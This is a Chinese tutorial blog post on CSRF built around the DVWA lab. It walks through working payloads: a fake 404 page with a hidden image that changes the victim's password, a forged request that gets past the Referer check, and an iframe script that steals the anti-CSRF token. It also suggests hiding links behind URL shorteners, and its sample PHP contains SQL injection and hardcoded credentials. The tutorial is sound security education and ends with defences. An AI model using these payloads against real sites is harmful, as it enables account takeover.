By : Mirror王宇阳javascript
E-mail : mirrorwangyuyang@gmail.comphp
笔者并未深挖过CSRF,内容居可能是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章html
CSRF跨站请求攻击,和XSS有类似之处;攻击者利用CSRF能够盗用用户的身份进行攻击前端
部分摘自《Web安全深度剖析》第十章java
当咱们打开或登陆某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就能够利用具备的网站权限对网站进行操做(如:发表文章、发送邮件、删除文章等)。会话借宿后,在进行权限操做,网站就会告知会话超期或从新登陆。mysql
当登陆网站后,浏览器就会和可信的站点创建一个通过认证的会话。全部经过这个通过认证的会话发送请求,都被认定为可信的行为,例如转帐、汇款等操做。当这个会话认证的时间过长或者自主结束断开;必须从新创建通过认证的可信安全的会话。web
CSRF攻击是创建在会话之上。好比:登陆了网上银行,正在进行转帐业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的Payload,攻击者精心构造的转帐业务代码,并且与你登陆的是同一家银行,当你认为这是安全的连接后点击进去,你的钱就没了!sql
好比想给用户xxser转帐1000元,正常的URL是:后端
secbug.org/pay.jsp?user=xxser&money=1000
而攻击者构造的URL则是:跨域
secbug.org/pay.jsp?user=hack&money=10000
CSRF漏洞经常被用来制做蠕虫攻击、SEO流量等
<?php session_start(); if (isset($_GET['login'])) { $con=mysqli_connect("127.0.0.1","root","123456","test"); if (mysql_connect_errno()) { echo "链接失败".mysql_connect_errno(); } $username = addslashes($_GET['username']); $password = $_GET['password']; $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'"); $row = mysqli_fetch_array($result); if($row){ $_SESSION['isadmin'] = 'admin'; exit("登陆成功"); } else{ $_SESSION['isadmin'] = 'guest'; exit("登陆失败"); } } else{ $_SESSION['isadmin'] = 'guest'; } if($_SESSION['isadmin'] != 'admin'){ exit("请登陆……"); } if(isset($_POST['submit'])){ if (isset($_POST['username'])) { $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')"); exit($_POST['username']."添加成功"); } } ?>
这是后台php源码
攻击者须要作的就是构造一个请求,请求的URL就是php文件的URL,参数是submit=1&username=1&password=1
,请求payload会自动的利用源码的特性添加一个用户
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CSRF漏洞实践</title> </head> <body> <script type="text/javascript"> var pauses = new Array("16"); var methods = new Array("POST"); var urls = new Array("isadmin.php"); var params = new Array("submit=1&username=1&password=1"); function pausecomp(millis){ var date = new Date(); var curDate = null ; do{ curDate = new Date(); }while(curDate-date<millis); } function run(){ var count = 1 ; var i = 0 ; for( i=0 ; i < count ; i ++){ makeXHR(methods[i],urls[i],params[i]); pausecomp(pausecomp[i]); } } var http_request = false ; function makeXHR(method , url , paramters){ http_request = false ; if(window.XMLHttpRequest){ http_request = new XMLHttpRequest() ; if(http_request.overrideMinmeType){ http_request.overrideMinmeType('text/html'); } } else if(window.ActiveXObject){ try{ http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e){ try{ http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ } } } if(!http_request){ alert('Cannot create XMLHTTP instance'); return false; } if(method == 'GET'){ if(url.indexOf('?') == -1){ url = url + '?' + paramters; } else{ url = url + '&' + paramters; } http_request.open(method,url,true); http_request.send(""); } else if(method == 'POST'){ http_request.open(method,url,true); http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded"); http_request.setRequestHeader("Content-length",paramters.length); http_request.setRequestHeader("Connection","close"); http_request.send(paramters); } } </script> </body> </html>
笔者找不到比较好的源码,因而找到了DVWA~~
前端源码
<h3>Change your admin password:</h3> <br> <form action="#" method="GET"> New password:<br> <input autocomplete="off" name="password_new" type="password"><br> Confirm new password:<br> <input autocomplete="off" name="password_conf" type="password"><br> <br> <input value="Change" name="Change" type="submit"> </form>
前端的源码很是的简单,是一个修改密码的CSRF,表单采用GET方式Change提交
后端源码
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
能够看见后端接收数据后会验证两次密码是否重复,而后修改密码~~~
构造Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
咱们将Payload发送给受害者,受害者处于会话保持(登陆状态)中,受害者一旦点击这个URL连接,就意味着受害者执行了一样的操做;这个过程就是CSRF
笔者处于的DVWA使用的登陆密码,而个人密码就被改成“123456”
重点
这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求(Payload),若是用户使用的是一个与xxser.com保持会话登陆的浏览器点击Payload-URL,受害者的密码就会发生更改。
哦!对了!这么裸露的攻击Payload在2019年安全意识高端的现代,是不会有人点击的!这个时候咱们就有好玩的一个工具叫:“短连接”,百度、新浪的短网址服务均可以!
为了减小图片内容,咱们当密码修改后的页面会提示“Password Changed.”
高明的作法(从一位前辈copy过来的,忘记连接了!)
都知道会出现提示,要想悄悄的修改!能够创建一个攻击网页,诱骗受害者访问
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Payload</title> </head> <body> <img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"> <h1>404</h1> <h2>file not found.</h2> </body> </html>
页面的做用是加载一个伪404的页面;实际上一旦访问这个页面,就会加载图片,所谓加载图片就是加载src
属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了Payload 你说好很差玩!加载一个404伪页面,就把本身的密码给该了,并且本身还不知道!
后端源码( 添加了http_referer头的校验 )
<?php if( isset( $_GET[ 'Change' ] ) ) { // HTTP_REFERER :查询当前页的前一页的地址信息 // SERVER_NAME :获取域名 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // stripos() :查字符第一次出现的位置, $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
检查HTTP_REFERER(http数据包的referer参数值)即上一级URL地址信息是否包含当前HTTP数据包中的Host参数值;包含则表示当前页面是从DVWA即上一级URL合法的行为。
合法的http数据包:
GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/ Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Upgrade-Insecure-Requests: 1
留意第2行、第8行
分析绕过
可是stripos()函数写的头验证是能够绕过的~ stripos()函数是屡次匹配; 只要包含了目标主机地址就能够绕过stripos()函数写的验证语句
若是咱们依旧按照创建一个伪造的攻击页面,stripos()头验证就会验证,然而页面并非来自DVWA;因而深挖stripos()函数的漏洞,发现函数会屡次匹配,因而思路就是~创建一个假的文件名,经过一个伪造的文件名,绕过stripos()的验证~
Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/127.0.0.1.html Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943 X-Forwarded-For: 8.8.8.8 Connection: keep-alive
这里注意!咱们将Payload命名为“127.0.0.1.html”,
后端源码
<?php if( isset( $_GET[ 'Change' ] ) ) { // 加入 Anti-CSRF token机制 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
加入 Anti-CSRF Token机制,用户访问改密页面时,服务器返回token,只有用户提交token参数才能够进行改密行为!
分析绕过
咱们构造Payload页面的时候,就须要考虑到执行改密行为必须向服务器发送token,而token只有在改密页面才能够得到;
根据前辈的思路:利用受害者的cookie去改密页面获取token
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body οnlοad="attack()"> <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>
攻击思路是当受害者点击进入这个页面,脚本会经过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而如今的浏览器是不容许跨域请求的。这里简单解释下跨域,咱们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位于服务器169.254.36.73上,而咱们的攻击页面位于黑客服务器上,二者的域名不一样,域名B下的全部页面都不容许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,因此咱们的攻击脚本是不可能取到改密界面中的user_token。
因为跨域是不能实现的,因此咱们要将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(由于这里的XSS注入有长度限制,不可以注入完整的攻击脚本,因此只获取Anti-CSRF token)
这里的Name存在XSS漏洞,因而抓包,改参数,成功弹出token
原文连接:https://blog.csdn.net/liweibin812/article/details/86468880
笔者经过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施,也因为笔者没有就这方面进行研究,没有办法进一步深度的解剖原理
从DVWA的测试中总结:
在Impossible级别的源码中,利用了PDO技术防护SQL注入,防御CSRF方面则要求用户原始密码;攻击者在不知道原始密码的状况下是没法进行CSRF的哦!笔者从网络中搜集了几篇文章,笔者对这些文章就不作剖解了直接copy地址
PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html
使用POST,限制GET
GET方式最容易受到CSRF攻击,只要简单的构造payload就可能致使CSRF;使用POST能够大程度的减低CSRF曝光率
浏览器Cookie策略
老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;
添加验证码
简单粗暴还有效;能够大程度的增长人机交互的过程,避免用户被悄悄的偷袭
Referer Check
检查请求是否来自于合法的源
Anti CSRF Token
Token的值必须是随机的,不可预测的。因为Token的存在,攻击者没法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽可能把敏感操做由GET改成POST,以form或AJAX形式提交,避免Token泄露。
总结:
CSRF攻击是攻击者利用用户的身份操做用户账户的一种攻击方式,一般使用Anti CSRF Token来防护CSRF攻击,同时要注意Token的保密性和随机性。